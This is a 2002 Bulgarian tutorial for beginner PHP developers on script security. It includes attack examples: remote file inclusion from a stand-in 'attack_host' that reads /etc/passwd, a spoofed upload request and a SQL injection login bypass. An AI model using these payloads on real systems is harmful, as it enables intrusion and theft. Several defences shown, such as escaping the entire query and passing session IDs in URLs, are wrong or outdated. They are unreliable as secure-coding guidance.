от Димитър Димитров(11-02-2002)
рейтинг (10)
[ добре ]
[ зле ]
Вариант за отпечатване
Много често частта "сигурност" се пренебрегва при
скриптирането, но мисля, че
това е един от най-важните моменти при писането на един
скрипт.
Тази статия е предимно за начинаещите php програмисти (едва
ли би могла да изненада с нещо по-опитните), тя не може да
претендира за изчерпателност
или пълнота, но може да даде основни познания за това как
да пишем по-чист и защитен код.
-------------------------------------------
0. Проверка на данните.
Тази препоръка е поставена под "0", защото тя е
просто задължителна, изпълнението би
предотвратило по-голямата част от опитите за атака.
ВИНАГИ проверявайте полетата, попълвани от потребителите.
Например:
потребителско име - само букви, цифри и долно тире
телефонен номер: - само цифри.
if(preg_match("/^[a-zA-Z0-9_]{3,12}$/",$Username)){
//OK
-------------------------------------------
1. Атрибутът ACTION на тагът FORM
Никога не задавайте пълния път, а относителния.
По този начин формата винаги ще се събмитва към файл от
вашия сървър.
<FORM METHOD="POST"
ACTION="dir/test.php"> - правилно
<FORM METHOD="POST" ACTION="http://server/dir/test.php"> -
неправилно
Ако искате формата да се събмитва към текущия файл (т.е.
този който я съдържа),
използвайте това:
<FORM METHOD="POST"
ACTION="<?=$PHP_SELF;?>">
Предефинираната променлива $PHP_SELF съдържа относителния
път на текущия файл.
-------------------------------------------
2. Глобални променливи.
Най-често използваните масиви от програмистите, в които се
съдържат стойностите и имената на глобалните
променливи са:
$HTTP_POST_VARS - за изпратените данни чрез POST
метода
$HTTP_GET_VARS - за изпратените данни чрез GET метода
$HTTP_SESSION_VARS - за дефинираните сесийни променливи
Ако имаме променливата test, изпратена примерно през
POST:
<INPUT TYPE=TEXT NAME="test"
VALUE="value1">
и същата променлива, изпратена през GET:
http://server/script.php?test=value2
можем да различим двете променливи по следния начин:
test1=$HTTP_POST_VARS["test"] -
стойност=value1
test2=$HTTP_GET_VARS["test"] -
стойност=value2
Точното определяне на това от кой от тези масиви е дадена
променлива би предотвратило атаки от сорта:
<INPUT TYPE=HIDDEN NAME="UserType"
VALUE="Moderator"> - POST
http://server/script.php?UserType=Moderator -
GET
Решение: в началото на php скрипта определяйте променливите
така:
$test=$HTTP_POST_VARS["test"];
$Username=$HTTP_SESSION_VARS["Username"];
-------------------------------------------
3. Upload на файлове
<FORM METHOD="POST"
ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE"
NAME="Userfile">
<INPUT TYPE="Upload">
</FORM>
Когато правите upload на файл, се предават следните
допълнителни променливи:
$Userfile_size - размер на файла
$Userfile_type - тип на файла - текст, изображение...
$Userfile_name - действително име на файла
Атакуващия би могъл да опита нещо такова:
http://server/upload.php?Userfile=/etc/passwd&Userfile_size=10240&Userfile_type=text/plain&Userfile_name=some_file.jpg
Решението се свежда до решението на т.2 - Глобални
променливи.
-------------------------------------------
4. Include на файлове.
Програмистът може да има неприятности, когато включва
файлове по следния начин:
<?php include($dir . "/script.php");?>
Нека този URL на файла, който използва горния код за
include да е: http://host/index.php
Ето какво би пробвал атакуващия:
Би направил един файл, наречен script.php на собствения си
сървър, съдържащ примерно следния код:
<?php readfile("/etc/passwd");
Нека този URL на файл да е: http://attack_host/hack/script.php
Следваща стъпка:
Подаване на "правилната" директория:
http://host/index.php?dir=http://attack_host/hack/
По този начин ще бъде включен файлът от http://attack_host/hack.
Решение: в /etc/php.ini забранете използването на файлове,
външни за вашия сървър:
allow_url_fopen = Off
Задайте "твърдо" възможните директории примерно в
масив така:
$Dirs=array('dir1','dir2',...);
После проверявайте дали променливата съвпада с някоя от
масива:
if(in_array($dir,$Dirs)){include($dir .
"/script.php");}
else{exit();}
-------------------------------------------
5. Разглеждане съдържанието на директория.
Ако нямате възможност да забраните разглеждането на дадена
директория, направете файл index.php:
<? header("Location: http://host/index.php");
?>
Това ще пренасочи атакуващия към началната страница.
-------------------------------------------
6. Разширения
Никога не оставяйте файлове на сървъра си с разширения,
различни от установените за php.
Чест пример са файловете за include:
/inc_dir/include.inc - грешно
/inc_dir/include.inc.php - правилно
-------------------------------------------
7. Заявки към бази данни.
Това е една от най-често срещаните грешки, винаги трябва да
се проверява заявката.
Тъй като най-често срещаната комбинация е php + mysql, ето
как може да стане това:
$Query="SELECT Username FROM Users WHERE
...";
$Query=mysql_escape_string($Query);
По този начин всички потенциално опасни символи като - и /
се "обезвреждат": / = //; - = /-
Ето един пример за атака:
Имаме форма за въвеждане на име (Username) и
парола(Password).
Обикновено начинът за проверка дали един потребител е въвел
правилно името си и паролата е следния:
SELECT ID,Username FROM Users WHERE
UserName='$LoginUsername' and
Password=PASSWORD('$LoginPassword')
Когато се върне точно един ред, това означава правилно
логване.
Атакуващия на базата на предположения би пробвал да въведе
в полето за потребителско име следното:
Admin';--
последните два знака в mysql означават коментар.
Заявката се преобразува до следното:
SELECT ID,Username FROM Users WHERE UserName='Admin'; --
това вече е коментар ->' and
Password=PASSWORD('$LoginPassword')
Идеята е ясна.
-------------------------------------------
8. Сесийни променливи.
Добра идея според мен е предването на ID на сесията по GET
метода и регистрирането на същото това ID като сесийна
променлива. След това можете да направите сравнение между
тези двете:
if($UserName and
$HTTP_SESSION_VARS["SID"]==$HTTP_GET_VARS["SID"]){
//OK
-------------------------------------------
Надявам се, че статията е помогнала поне малко на някой,
също така се надявам, че тя не е станала причина за
"разбиването" на някой сайт :).
Автор: Димитър Димитров, 11/2/2002
http://mitko.infotech.bg, mitko@stud.ru.acad.bg
<< Как да ограничим Dial-up по трафик като използваме ICRadius | Как да гледаме DVB-телевизия с "Budget"-карта и LIRC >>
|